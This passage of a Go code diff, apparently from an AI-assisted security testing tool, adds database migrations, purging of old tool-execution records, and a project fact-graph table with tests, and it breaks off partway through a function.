+	plantaskBase := filepath.Join(tmp, "skills", ".eino", "plantask")
+	checkpointBase := filepath.Join(tmp, "eino-checkpoints")
+	reductionBase := filepath.Join(tmp, "reduction")
+	db.SetEinoConversationDirs(plantaskBase, checkpointBase, reductionBase)
+
+	conv, err := db.CreateConversation("cleanup test", ConversationCreateMeta{})
+	if err != nil {
+		t.Fatalf("CreateConversation: %v", err)
+	}
+	convID := conv.ID
+	seg := sanitizeConversationPathSegment(convID)
+	for _, base := range []struct {
+		root string
+		file string
+	}{
+		{db.conversationArtifactsDir, "transcript.txt"},
+		{plantaskBase, "task-1.json"},
+		{checkpointBase, "runner-deep.ckpt"},
+		{filepath.Join(reductionBase, "conversations"), "tool-output.txt"},
+	} {
+		dir := filepath.Join(base.root, seg)
+		if err := os.MkdirAll(dir, 0o755); err != nil {
+			t.Fatalf("mkdir %s: %v", dir, err)
+		}
+		if err := os.WriteFile(filepath.Join(dir, base.file), []byte("x"), 0o644); err != nil {
+			t.Fatalf("write %s: %v", base.file, err)
+		}
+	}
+
+	if err := db.DeleteConversation(convID); err != nil {
+		t.Fatalf("DeleteConversation: %v", err)
+	}
+
+	for _, base := range []string{db.conversationArtifactsDir, plantaskBase, checkpointBase, filepath.Join(reductionBase, "conversations")} {
+		dir := filepath.Join(base, seg)
+		if _, statErr := os.Stat(dir); !os.IsNotExist(statErr) {
+			t.Fatalf("expected removed dir %s, stat err=%v", dir, statErr)
+		}
+	}
+}
+
+func TestDeleteProjectRemovesReductionDir(t *testing.T) {
+	tmp := t.TempDir()
+	dbPath := filepath.Join(tmp, "conversations.db")
+	db, err := NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatalf("NewDB: %v", err)
+	}
+	defer db.Close()
+
+	reductionBase := filepath.Join(tmp, "reduction")
+	db.SetEinoConversationDirs("", "", reductionBase)
+
+	project, err := db.CreateProject(&Project{Name: "cleanup test"})
+	if err != nil {
+		t.Fatalf("CreateProject: %v", err)
+	}
+	seg := sanitizeConversationPathSegment(project.ID)
+	reductionDir := filepath.Join(reductionBase, "projects", seg, "clear")
+	if err := os.MkdirAll(reductionDir, 0o755); err != nil {
+		t.Fatalf("mkdir %s: %v", reductionDir, err)
+	}
+	if err := os.WriteFile(filepath.Join(reductionDir, "call-1.txt"), []byte("x"), 0o644); err != nil {
+		t.Fatalf("write: %v", err)
+	}
+
+	if err := db.DeleteProject(project.ID); err != nil {
+		t.Fatalf("DeleteProject: %v", err)
+	}
+
+	projectReductionDir := filepath.Join(reductionBase, "projects", seg)
+	if _, statErr := os.Stat(projectReductionDir); !os.IsNotExist(statErr) {
+		t.Fatalf("expected removed dir %s, stat err=%v", projectReductionDir, statErr)
+	}
+}

internal/database/conversation_vulnerability_test.go

@@ -0,0 +1,69 @@
+package database
+
+import (
+	"path/filepath"
+	"testing"
+
+	"go.uber.org/zap"
+)
+
+func TestDeleteConversationPreservesVulnerabilities(t *testing.T) {
+	tmp := t.TempDir()
+	dbPath := filepath.Join(tmp, "vuln-preserve.db")
+	db, err := NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatalf("NewDB: %v", err)
+	}
+	defer db.Close()
+
+	conv, err := db.CreateConversation("vuln source chat", ConversationCreateMeta{})
+	if err != nil {
+		t.Fatalf("CreateConversation: %v", err)
+	}
+
+	vuln, err := db.CreateVulnerability(&Vulnerability{
+		ConversationID: conv.ID,
+		Title:          "SQL Injection",
+		Severity:       "high",
+		Status:         "open",
+	})
+	if err != nil {
+		t.Fatalf("CreateVulnerability: %v", err)
+	}
+
+	if err := db.DeleteConversation(conv.ID); err != nil {
+		t.Fatalf("DeleteConversation: %v", err)
+	}
+
+	got, err := db.GetVulnerability(vuln.ID)
+	if err != nil {
+		t.Fatalf("GetVulnerability after delete: %v", err)
+	}
+	if got.Title != "SQL Injection" {
+		t.Fatalf("title = %q, want SQL Injection", got.Title)
+	}
+	if got.ConversationID != "" {
+		t.Fatalf("conversation_id = %q, want empty after conversation delete", got.ConversationID)
+	}
+	if got.ConversationTag != "vuln source chat" {
+		t.Fatalf("conversation_tag = %q, want vuln source chat", got.ConversationTag)
+	}
+}
+
+func TestMigrateVulnerabilitiesConversationFK(t *testing.T) {
+	tmp := t.TempDir()
+	dbPath := filepath.Join(tmp, "vuln-fk-migrate.db")
+	db, err := NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatalf("NewDB: %v", err)
+	}
+	defer db.Close()
+
+	ok, err := vulnerabilitiesConversationFKOnDeleteSetNull(db.DB)
+	if err != nil {
+		t.Fatalf("vulnerabilitiesConversationFKOnDeleteSetNull: %v", err)
+	}
+	if !ok {
+		t.Fatal("expected vulnerabilities.conversation_id FK to use ON DELETE SET NULL")
+	}
+}

internal/database/database.go

@@ -49,6 +49,9 @@ type DB struct {
 	*sql.DB
 	logger                   *zap.Logger
 	conversationArtifactsDir string
+	einoPlantaskBaseDir      string // skills_dir + plantask_rel_dir (per-conversation subdirs)
+	einoCheckpointBaseDir    string // checkpoint_dir root (per-conversation subdirs)
+	einoReductionRootDir     string // reduction_root_dir or default tmp/reduction (conversations/<id> subdirs)
 	checkpointLoopName       string
 	checkpointStop           chan struct{}
 	checkpointDone           chan struct{}
@@ -155,6 +158,18 @@ func NewDB(dbPath string, logger *zap.Logger) (*DB, error) {
 	return database, nil
 }
 
+// SetEinoConversationDirs configures best-effort filesystem cleanup on DeleteConversation.
+// plantaskBase is skills_root/plantask_rel (no conversation id); checkpointBase is checkpoint_dir root.
+// reductionRoot is reduction_root_dir from config; empty uses tmp/reduction (conversation-scoped subdirs only).
+func (db *DB) SetEinoConversationDirs(plantaskBase, checkpointBase, reductionRoot string) {
+	if db == nil {
+		return
+	}
+	db.einoPlantaskBaseDir = strings.TrimSpace(plantaskBase)
+	db.einoCheckpointBaseDir = strings.TrimSpace(checkpointBase)
+	db.einoReductionRootDir = strings.TrimSpace(reductionRoot)
+}
+
 // initTables 初始化数据库表
 func (db *DB) initTables() error {
 	// 创建对话表（last_react_input / last_react_output 存「代理消息轨迹」JSON 与助手摘要，列名保留以兼容已有库）
@@ -341,11 +356,27 @@ func (db *DB) initTables() error {
 		UNIQUE(project_id, fact_key)
 	);`
 
+	// 项目事实关系边（黑板 DAG）
+	createProjectFactEdgesTable := `
+	CREATE TABLE IF NOT EXISTS project_fact_edges (
+		id TEXT PRIMARY KEY,
+		project_id TEXT NOT NULL,
+		source_fact_key TEXT NOT NULL,
+		target_fact_key TEXT NOT NULL,
+		edge_type TEXT NOT NULL,
+		confidence TEXT NOT NULL DEFAULT 'tentative',
+		source_conversation_id TEXT,
+		created_at DATETIME NOT NULL,
+		updated_at DATETIME NOT NULL,
+		FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE,
+		UNIQUE(project_id, source_fact_key, target_fact_key, edge_type)
+	);`
+
 	// 创建漏洞表
 	createVulnerabilitiesTable := `
 	CREATE TABLE IF NOT EXISTS vulnerabilities (
 		id TEXT PRIMARY KEY,
-		conversation_id TEXT NOT NULL,
+		conversation_id TEXT,
 		conversation_tag TEXT,
 		task_tag TEXT,
 		title TEXT NOT NULL,
@@ -359,7 +390,8 @@ func (db *DB) initTables() error {
 		recommendation TEXT,
 		created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
 		updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
-		FOREIGN KEY (conversation_id) REFERENCES conversations(id) ON DELETE CASCADE
+		project_id TEXT,
+		FOREIGN KEY (conversation_id) REFERENCES conversations(id) ON DELETE SET NULL
 	);`
 
 	// 创建批量任务队列表
@@ -578,6 +610,9 @@ func (db *DB) initTables() error {
 	CREATE INDEX IF NOT EXISTS idx_project_facts_project_id ON project_facts(project_id);
 	CREATE INDEX IF NOT EXISTS idx_project_facts_confidence ON project_facts(confidence);
 	CREATE INDEX IF NOT EXISTS idx_project_facts_related_vuln ON project_facts(related_vulnerability_id);
+	CREATE INDEX IF NOT EXISTS idx_project_fact_edges_project ON project_fact_edges(project_id);
+	CREATE INDEX IF NOT EXISTS idx_project_fact_edges_source ON project_fact_edges(project_id, source_fact_key);
+	CREATE INDEX IF NOT EXISTS idx_project_fact_edges_target ON project_fact_edges(project_id, target_fact_key);
 	CREATE INDEX IF NOT EXISTS idx_conversations_project_id ON conversations(project_id);
 	CREATE INDEX IF NOT EXISTS idx_vulnerabilities_project_id ON vulnerabilities(project_id);
 	CREATE INDEX IF NOT EXISTS idx_batch_tasks_queue_id ON batch_tasks(queue_id);
@@ -659,6 +694,10 @@ func (db *DB) initTables() error {
 		return fmt.Errorf("创建project_facts表失败: %w", err)
 	}
 
+	if _, err := db.Exec(createProjectFactEdgesTable); err != nil {
+		return fmt.Errorf("创建project_fact_edges表失败: %w", err)
+	}
+
 	if _, err := db.Exec(createVulnerabilitiesTable); err != nil {
 		return fmt.Errorf("创建vulnerabilities表失败: %w", err)
 	}
@@ -725,6 +764,9 @@ func (db *DB) initTables() error {
 		db.logger.Warn("迁移vulnerabilities表失败", zap.Error(err))
 		// 不返回错误，允许继续运行
 	}
+	if err := db.migrateVulnerabilitiesConversationFK(); err != nil {
+		db.logger.Warn("迁移vulnerabilities会话外键失败", zap.Error(err))
+	}
 
 	if err := db.migrateProjectsTable(); err != nil {
 		db.logger.Warn("迁移projects相关表失败", zap.Error(err))
@@ -1134,6 +1176,116 @@ func (db *DB) dropProjectFactVersionsTable() error {
 	return err
 }
 
+// migrateVulnerabilitiesConversationFK 将 vulnerabilities.conversation_id 外键改为 ON DELETE SET NULL，删除对话时保留漏洞记录。
+func (db *DB) migrateVulnerabilitiesConversationFK() error {
+	ok, err := vulnerabilitiesConversationFKOnDeleteSetNull(db.DB)
+	if err != nil {
+		return err
+	}
+	if ok {
+		return nil
+	}
+
+	tx, err := db.Begin()
+	if err != nil {
+		return fmt.Errorf("开启事务失败: %w", err)
+	}
+	defer func() { _ = tx.Rollback() }()
+
+	const createNew = `
+	CREATE TABLE vulnerabilities_new (
+		id TEXT PRIMARY KEY,
+		conversation_id TEXT,
+		conversation_tag TEXT,
+		task_tag TEXT,
+		title TEXT NOT NULL,
+		description TEXT,
+		severity TEXT NOT NULL,
+		status TEXT NOT NULL DEFAULT 'open',
+		vulnerability_type TEXT,
+		target TEXT,
+		proof TEXT,
+		impact TEXT,
+		recommendation TEXT,
+		created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
+		updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
+		project_id TEXT,
+		FOREIGN KEY (conversation_id) REFERENCES conversations(id) ON DELETE SET NULL
+	);`
+	if _, err := tx.Exec(createNew); err != nil {
+		return fmt.Errorf("创建 vulnerabilities_new 失败: %w", err)
+	}
+
+	const copyRows = `
+	INSERT INTO vulnerabilities_new (
+		id, conversation_id, conversation_tag, task_tag, title, description,
+		severity, status, vulnerability_type, target, proof, impact, recommendation,
+		created_at, updated_at, project_id
+	)
+	SELECT
+		id, conversation_id, conversation_tag, task_tag, title, description,
+		severity, status, vulnerability_type, target, proof, impact, recommendation,
+		created_at, updated_at, project_id
+	FROM vulnerabilities;`
+	if _, err := tx.Exec(copyRows); err != nil {
+		return fmt.Errorf("复制 vulnerabilities 数据失败: %w", err)
+	}
+	if _, err := tx.Exec(`DROP TABLE vulnerabilities`); err != nil {
+		return fmt.Errorf("删除旧 vulnerabilities 表失败: %w", err)
+	}
+	if _, err := tx.Exec(`ALTER TABLE vulnerabilities_new RENAME TO vulnerabilities`); err != nil {
+		return fmt.Errorf("重命名 vulnerabilities 表失败: %w", err)
+	}
+
+	indexes := []string{
+		`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_conversation_id ON vulnerabilities(conversation_id)`,
+		`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_conversation_tag ON vulnerabilities(conversation_tag)`,
+		`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_task_tag ON vulnerabilities(task_tag)`,
+		`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_severity ON vulnerabilities(severity)`,
+		`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_status ON vulnerabilities(status)`,
+		`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_created_at ON vulnerabilities(created_at)`,
+		`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_project_id ON vulnerabilities(project_id)`,
+	}
+	for _, stmt := range indexes {
+		if _, err := tx.Exec(stmt); err != nil {
+			return fmt.Errorf("重建 vulnerabilities 索引失败: %w", err)
+		}
+	}
+
+	if err := tx.Commit(); err != nil {
+		return fmt.Errorf("提交 vulnerabilities 外键迁移失败: %w", err)
+	}
+	db.logger.Info("vulnerabilities 表已迁移：删除对话时保留漏洞记录")
+	return nil
+}
+
+func vulnerabilitiesConversationFKOnDeleteSetNull(db *sql.DB) (bool, error) {
+	rows, err := db.Query(`PRAGMA foreign_key_list(vulnerabilities)`)
+	if err != nil {
+		return false, err
+	}
+	defer rows.Close()
+
+	found := false
+	for rows.Next() {
+		var id, seq int
+		var table, from, to, onUpdate, onDelete, match string
+		if err := rows.Scan(&id, &seq, &table, &from, &to, &onUpdate, &onDelete, &match); err != nil {
+			return false, err
+		}
+		if from == "conversation_id" {
+			found = true
+			if !strings.EqualFold(onDelete, "SET NULL") {
+				return false, nil
+			}
+		}
+	}
+	if err := rows.Err(); err != nil {
+		return false, err
+	}
+	return found, nil
+}
+
 // migrateVulnerabilitiesTable 迁移 vulnerabilities 表，补充标签字段
 func (db *DB) migrateVulnerabilitiesTable() error {
 	columns := []struct {

internal/database/monitor.go

@@ -72,6 +72,23 @@ func (db *DB) SaveToolExecution(exec *mcp.ToolExecution) error {
 	return nil
 }
 
+// UpdateToolExecutionResult 仅更新结果字段（用于 reduction 后将监控展示与模型上下文对齐）。
+func (db *DB) UpdateToolExecutionResult(id string, result *mcp.ToolResult) error {
+	id = strings.TrimSpace(id)
+	if id == "" || result == nil {
+		return nil
+	}
+	resultBytes, err := json.Marshal(result)
+	if err != nil {
+		return err
+	}
+	_, err = db.Exec(`UPDATE tool_executions SET result = ? WHERE id = ?`, string(resultBytes), id)
+	if err != nil {
+		db.logger.Warn("更新工具执行结果失败", zap.Error(err), zap.String("executionId", id))
+	}
+	return err
+}
+
 // CountToolExecutions 统计工具执行记录总数
 func (db *DB) CountToolExecutions(status, toolName string) (int, error) {
 	query := `SELECT COUNT(*) FROM tool_executions`
@@ -393,6 +410,76 @@ func (db *DB) GetToolExecutionsByIds(ids []string) ([]*mcp.ToolExecution, error)
 	return executions, nil
 }
 
+type toolExecutionStatDelta struct {
+	totalCalls   int
+	successCalls int
+	failedCalls  int
+}
+
+// PurgeToolExecutionsBefore deletes executions older than cutoff and adjusts tool_stats.
+func (db *DB) PurgeToolExecutionsBefore(cutoff time.Time) (int64, error) {
+	query := `
+		SELECT tool_name, status, COUNT(*) AS cnt
+		FROM tool_executions
+		WHERE ` + sqliteEpochGE("start_time", "<") + `
+		GROUP BY tool_name, status
+	`
+	rows, err := db.Query(query, formatSQLiteUTC(cutoff))
+	if err != nil {
+		return 0, err
+	}
+	defer rows.Close()
+
+	deltas := make(map[string]*toolExecutionStatDelta)
+	for rows.Next() {
+		var toolName, status string
+		var count int
+		if err := rows.Scan(&toolName, &status, &count); err != nil {
+			db.logger.Warn("读取待清理执行记录统计失败", zap.Error(err))
+			continue
+		}
+		toolName = strings.TrimSpace(toolName)
+		if toolName == "" || count <= 0 {
+			continue
+		}
+		delta := deltas[toolName]
+		if delta == nil {
+			delta = &toolExecutionStatDelta{}
+			deltas[toolName] = delta
+		}
+		delta.totalCalls += count
+		switch status {
+		case "failed", "cancelled":
+			delta.failedCalls += count
+		case "completed":
+			delta.successCalls += count
+		}
+	}
+	if err := rows.Err(); err != nil {
+		return 0, err
+	}
+
+	res, err := db.Exec(`DELETE FROM tool_executions WHERE `+sqliteEpochGE("start_time", "<"), formatSQLiteUTC(cutoff))
+	if err != nil {
+		return 0, err
+	}
+	deleted, err := res.RowsAffected()
+	if err != nil {
+		return 0, err
+	}
+
+	for toolName, delta := range deltas {
+		if err := db.DecreaseToolStats(toolName, delta.totalCalls, delta.successCalls, delta.failedCalls); err != nil {
+			db.logger.Warn("清理过期执行记录后更新统计失败",
+				zap.Error(err),
+				zap.String("toolName", toolName),
+			)
+		}
+	}
+
+	return deleted, nil
+}
+
 // SaveToolStats 保存工具统计信息
 func (db *DB) SaveToolStats(toolName string, stats *mcp.ToolStats) error {
 	var lastCallTime sql.NullTime

internal/database/monitor_retention_test.go

@@ -0,0 +1,122 @@
+package database
+
+import (
+	"path/filepath"
+	"testing"
+	"time"
+
+	"cyberstrike-ai/internal/mcp"
+
+	"go.uber.org/zap"
+)
+
+func TestPurgeToolExecutionsBefore(t *testing.T) {
+	dbPath := filepath.Join(t.TempDir(), "monitor.db")
+	db, err := NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatalf("NewDB: %v", err)
+	}
+	defer db.Close()
+
+	oldStart := time.Now().AddDate(0, 0, -100)
+	newStart := time.Now().AddDate(0, 0, -1)
+
+	oldExec := &mcp.ToolExecution{
+		ID:        "old-completed",
+		ToolName:  "nmap::scan",
+		Arguments: map[string]interface{}{"target": "127.0.0.1"},
+		Status:    "completed",
+		StartTime: oldStart,
+	}
+	oldFailed := &mcp.ToolExecution{
+		ID:        "old-failed",
+		ToolName:  "nmap::scan",
+		Arguments: map[string]interface{}{"target": "127.0.0.1"},
+		Status:    "failed",
+		Error:     "timeout",
+		StartTime: oldStart,
+	}
+	newExec := &mcp.ToolExecution{
+		ID:        "new-completed",
+		ToolName:  "nmap::scan",
+		Arguments: map[string]interface{}{"target": "127.0.0.1"},
+		Status:    "completed",
+		StartTime: newStart,
+	}
+	for _, exec := range []*mcp.ToolExecution{oldExec, oldFailed, newExec} {
+		if err := db.SaveToolExecution(exec); err != nil {
+			t.Fatalf("SaveToolExecution(%s): %v", exec.ID, err)
+		}
+	}
+	if err := db.UpdateToolStats("nmap::scan", 3, 2, 1, &newStart); err != nil {
+		t.Fatalf("UpdateToolStats: %v", err)
+	}
+
+	cutoff := time.Now().AddDate(0, 0, -90)
+	deleted, err := db.PurgeToolExecutionsBefore(cutoff)
+	if err != nil {
+		t.Fatalf("PurgeToolExecutionsBefore: %v", err)
+	}
+	if deleted != 2 {
+		t.Fatalf("deleted = %d, want 2", deleted)
+	}
+
+	if _, err := db.GetToolExecution("old-completed"); err == nil {
+		t.Fatal("old-completed should be deleted")
+	}
+	if _, err := db.GetToolExecution("old-failed"); err == nil {
+		t.Fatal("old-failed should be deleted")
+	}
+	if _, err := db.GetToolExecution("new-completed"); err != nil {
+		t.Fatalf("new-completed should remain: %v", err)
+	}
+
+	stats, err := db.LoadToolStats()
+	if err != nil {
+		t.Fatalf("LoadToolStats: %v", err)
+	}
+	stat := stats["nmap::scan"]
+	if stat == nil {
+		t.Fatal("expected stats for nmap::scan")
+	}
+	if stat.TotalCalls != 1 || stat.SuccessCalls != 1 || stat.FailedCalls != 0 {
+		t.Fatalf("stats after purge = %+v, want total=1 success=1 failed=0", stat)
+	}
+
+	total, err := db.CountToolExecutions("", "")
+	if err != nil {
+		t.Fatalf("CountToolExecutions: %v", err)
+	}
+	if total != 1 {
+		t.Fatalf("remaining executions = %d, want 1", total)
+	}
+}
+
+func TestPurgeToolExecutionsBefore_zeroRetentionSkipsViaService(t *testing.T) {
+	// RetentionDaysEffective: 0 means no purge at service layer; DB method still works when called directly.
+	dbPath := filepath.Join(t.TempDir(), "monitor.db")
+	db, err := NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatalf("NewDB: %v", err)
+	}
+	defer db.Close()
+
+	exec := &mcp.ToolExecution{
+		ID:        "ancient",
+		ToolName:  "curl::get",
+		Arguments: map[string]interface{}{},
+		Status:    "completed",
+		StartTime: time.Now().AddDate(-1, 0, 0),
+	}
+	if err := db.SaveToolExecution(exec); err != nil {
+		t.Fatalf("SaveToolExecution: %v", err)
+	}
+
+	deleted, err := db.PurgeToolExecutionsBefore(time.Now())
+	if err != nil {
+		t.Fatalf("PurgeToolExecutionsBefore: %v", err)
+	}
+	if deleted != 1 {
+		t.Fatalf("deleted = %d, want 1", deleted)
+	}
+}

internal/database/project.go

@@ -195,6 +195,7 @@ func (db *DB) DeleteProject(id string) error {
 	if err != nil {
 		return fmt.Errorf("删除项目失败: %w", err)
 	}
+	db.removeProjectScopedDirs(id)
 	return nil
 }
 
@@ -389,7 +390,7 @@ func (db *DB) UpsertProjectFact(f *ProjectFact) (*ProjectFact, error) {
 	return f, nil
 }
 
-// DeprecateProjectFact 将事实标记为 deprecated。
+// DeprecateProjectFact 将事实标记为 deprecated（关联边同步 deprecated）。
 func (db *DB) DeprecateProjectFact(projectID, factKey string) error {
 	res, err := db.Exec(
 		`UPDATE project_facts SET confidence = 'deprecated', updated_at = ? WHERE project_id = ? AND fact_key = ?`,
@@ -402,7 +403,7 @@ func (db *DB) DeprecateProjectFact(projectID, factKey string) error {
 	if n == 0 {
 		return fmt.Errorf("事实不存在")
 	}
-	return nil
+	return db.DeprecateProjectFactEdgesForKey(projectID, factKey)
 }
 
 // RestoreProjectFact 将已废弃事实恢复为 tentative 或 confirmed（重新参与黑板索引）。
@@ -430,9 +431,16 @@ func (db *DB) RestoreProjectFact(projectID, factKey, confidence string) error {
 	return err
 }
 
-// DeleteProjectFact 删除事实。
+// DeleteProjectFact 删除事实（级联删除相关边）。
 func (db *DB) DeleteProjectFact(id string) error {
-	_, err := db.Exec(`DELETE FROM project_facts WHERE id = ?`, id)
+	f, err := db.GetProjectFact(id)
+	if err != nil {
+		return err
+	}
+	if err := db.DeleteProjectFactEdgesForKey(f.ProjectID, f.FactKey); err != nil {
+		return err
+	}
+	_, err = db.Exec(`DELETE FROM project_facts WHERE id = ?`, id)
 	return err
 }
 

internal/database/project_fact_edges.go

@@ -0,0 +1,410 @@
+package database
+
+import (
+	"database/sql"
+	"fmt"
+	"strings"
+	"time"
+
+	"github.com/google/uuid"
+)
+
+// ValidProjectFactEdgeTypes 项目事实图允许的边类型。
+var ValidProjectFactEdgeTypes = map[string]struct{}{
+	"depends_on":    {},
+	"leads_to":      {},
+	"enables":       {},
+	"exploits":      {},
+	"discovered_on": {},
+	"contains":      {},
+	"part_of":       {},
+	"supports":      {},
+}
+
+// ProjectFactEdge 项目事实关系边（source → target）。
+type ProjectFactEdge struct {
+	ID                   string    `json:"id"`
+	ProjectID            string    `json:"project_id"`
+	SourceFactKey        string    `json:"source_fact_key"`
+	TargetFactKey        string    `json:"target_fact_key"`
+	EdgeType             string    `json:"edge_type"`
+	Confidence           string    `json:"confidence"` // confirmed | tentative | deprecated
+	SourceConversationID string    `json:"source_conversation_id,omitempty"`
+	CreatedAt            time.Time `json:"created_at"`
+	UpdatedAt            time.Time `json:"updated_at"`
+}
+
+// ProjectFactEdgeInput 写入边时的输入（出边：source → To）。
+type ProjectFactEdgeInput struct {
+	To         string `json:"to"`
+	Type       string `json:"type"`
+	Confidence string `json:"confidence,omitempty"`
+}
+
+// ProjectFactEdgeFromInput 写入入边时的输入（From → 当前事实）。
+type ProjectFactEdgeFromInput struct {
+	From       string `json:"from"`
+	Type       string `json:"type"`
+	Confidence string `json:"confidence,omitempty"`
+}
+
+// ProjectFactGraphNode 图 API 节点。
+type ProjectFactGraphNode struct {
+	ID         string `json:"id"`
+	FactKey    string `json:"fact_key"`
+	Category   string `json:"category"`
+	Label      string `json:"label"`   // 图节点短标签（截断）
+	Summary    string `json:"summary"` // 完整摘要（侧栏等详情用）
+	Confidence string `json:"confidence"`
+	Type       string `json:"type"`
+	Pinned     bool   `json:"pinned"`
+}
+
+// ProjectFactGraphEdge 图 API 边。
+type ProjectFactGraphEdge struct {
+	ID         string `json:"id"`
+	Source     string `json:"source"`
+	Target     string `json:"target"`
+	Type       string `json:"type"`
+	Confidence string `json:"confidence"`
+}
+
+// ProjectFactGraph 项目事实图。
+type ProjectFactGraph struct {
+	Nodes []ProjectFactGraphNode `json:"nodes"`
+	Edges []ProjectFactGraphEdge `json:"edges"`
+}
+
+// ValidateProjectFactEdgeType 校验边类型。
+func ValidateProjectFactEdgeType(edgeType string) error {
+	edgeType = strings.TrimSpace(strings.ToLower(edgeType))
+	if edgeType == "" {
+		return fmt.Errorf("edge type 不能为空")
+	}
+	if _, ok := ValidProjectFactEdgeTypes[edgeType]; !ok {
+		return fmt.Errorf("无效的 edge type: %s", edgeType)
+	}
+	return nil
+}
+
+func normalizeEdgeConfidence(confidence string) string {
+	confidence = strings.TrimSpace(strings.ToLower(confidence))
+	switch confidence {
+	case "confirmed", "deprecated":
+		return confidence
+	default:
+		return "tentative"
+	}
+}
+
+// ListProjectFactEdgesByProject 列出项目全部边。
+func (db *DB) ListProjectFactEdgesByProject(projectID string) ([]*ProjectFactEdge, error) {
+	rows, err := db.Query(
+		`SELECT id, project_id, source_fact_key, target_fact_key, edge_type, confidence,
+		        COALESCE(source_conversation_id,''), created_at, updated_at
+		   FROM project_fact_edges
+		  WHERE project_id = ?
+		  ORDER BY created_at ASC, rowid ASC`,
+		projectID,
+	)
+	if err != nil {
+		return nil, err
+	}
+	defer rows.Close()
+	return scanProjectFactEdges(rows)
+}
+
+// ListOutgoingProjectFactEdges 列出某事实的全部出边。
+func (db *DB) ListOutgoingProjectFactEdges(projectID, sourceFactKey string) ([]*ProjectFactEdge, error) {
+	rows, err := db.Query(
+		`SELECT id, project_id, source_fact_key, target_fact_key, edge_type, confidence,
+		        COALESCE(source_conversation_id,''), created_at, updated_at
+		   FROM project_fact_edges
+		  WHERE project_id = ? AND source_fact_key = ?
+		  ORDER BY created_at ASC, rowid ASC`,
+		projectID, sourceFactKey,
+	)
+	if err != nil {
+		return nil, err
+	}
+	defer rows.Close()
+	return scanProjectFactEdges(rows)
+}
+
+// ListIncomingProjectFactEdges 列出某事实的全部入边。
+func (db *DB) ListIncomingProjectFactEdges(projectID, targetFactKey string) ([]*ProjectFactEdge, error) {
+	rows, err := db.Query(
+		`SELECT id, project_id, source_fact_key, target_fact_key, edge_type, confidence,
+		        COALESCE(source_conversation_id,''), created_at, updated_at
+		   FROM project_fact_edges
+		  WHERE project_id = ? AND target_fact_key = ?
+		  ORDER BY created_at ASC, rowid ASC`,
+		projectID, targetFactKey,
+	)
+	if err != nil {
+		return nil, err
+	}
+	defer rows.Close()
+	return scanProjectFactEdges(rows)
+}
+
+// ReplaceOutgoingProjectFactEdges 替换某事实的全部出边（links 省略时不调用）。
+func (db *DB) ReplaceOutgoingProjectFactEdges(projectID, sourceFactKey, sourceConversationID string, inputs []ProjectFactEdgeInput) error {
+	sourceFactKey = strings.TrimSpace(sourceFactKey)
+	if sourceFactKey == "" {
+		return fmt.Errorf("source_fact_key 不能为空")
+	}
+	if _, err := db.Exec(
+		`DELETE FROM project_fact_edges WHERE project_id = ? AND source_fact_key = ?`,
+		projectID, sourceFactKey,
+	); err != nil {
+		return fmt.Errorf("清除旧边失败: %w", err)
+	}
+	for _, in := range inputs {
+		target := strings.TrimSpace(in.To)
+		if target == "" {
+			continue
+		}
+		if err := ValidateFactKey(target); err != nil {
+			return fmt.Errorf("target fact_key 无效 (%s): %w", target, err)
+		}
+		if target == sourceFactKey {
+			return fmt.Errorf("边不能指向自身: %s", sourceFactKey)
+		}
+		if err := ValidateProjectFactEdgeType(in.Type); err != nil {
+			return err
+		}
+		edge := &ProjectFactEdge{
+			ID:                   uuid.New().String(),
+			ProjectID:            projectID,
+			SourceFactKey:        sourceFactKey,
+			TargetFactKey:        target,
+			EdgeType:             strings.ToLower(strings.TrimSpace(in.Type)),
+			Confidence:           normalizeEdgeConfidence(in.Confidence),
+			SourceConversationID: sourceConversationID,
+			CreatedAt:            time.Now(),
+			UpdatedAt:            time.Now(),
+		}
+		if err := db.insertProjectFactEdge(edge); err != nil {
+			return err
+		}
+	}
+	return nil
+}
+
+// ReplaceIncomingProjectFactEdges 替换某事实的全部入边（From 为来源 fact_key）。
+func (db *DB) ReplaceIncomingProjectFactEdges(projectID, targetFactKey string, inputs []ProjectFactEdgeFromInput) error {
+	targetFactKey = strings.TrimSpace(targetFactKey)
+	if targetFactKey == "" {
+		return fmt.Errorf("target_fact_key 不能为空")
+	}
+	if _, err := db.Exec(
+		`DELETE FROM project_fact_edges WHERE project_id = ? AND target_fact_key = ?`,
+		projectID, targetFactKey,
+	); err != nil {
+		return fmt.Errorf("清除旧入边失败: %w", err)
+	}
+	for _, in := range inputs {
+		source := strings.TrimSpace(in.From)
+		if source == "" {
+			continue
+		}
+		if err := ValidateFactKey(source); err != nil {
+			return fmt.Errorf("source fact_key 无效 (%s): %w", source, err)
+		}
+		if source == targetFactKey {
+			return fmt.Errorf("边不能指向自身: %s", targetFactKey)
+		}
+		if err := ValidateProjectFactEdgeType(in.Type); err != nil {
+			return err
+		}
+		sourceConversationID := ""
+		if srcFact, err := db.GetProjectFactByKey(projectID, source); err == nil && srcFact != nil {
+			sourceConversationID = srcFact.SourceConversationID
+		}
+		edge := &ProjectFactEdge{
+			ID:                   uuid.New().String(),
+			ProjectID:            projectID,
+			SourceFactKey:        source,
+			TargetFactKey:        targetFactKey,
+			EdgeType:             strings.ToLower(strings.TrimSpace(in.Type)),
+			Confidence:           normalizeEdgeConfidence(in.Confidence),
+			SourceConversationID: sourceConversationID,
+			CreatedAt:            time.Now(),
+			UpdatedAt:            time.Now(),
+		}
+		if err := db.insertProjectFactEdge(edge); err != nil {
+			return err
+		}
+	}
+	return nil
+}
+
+// GetProjectFactEdge 按 ID 获取边。
+func (db *DB) GetProjectFactEdge(edgeID string) (*ProjectFactEdge, error) {
+	var e ProjectFactEdge
+	var createdAt, updatedAt string
+	err := db.QueryRow(
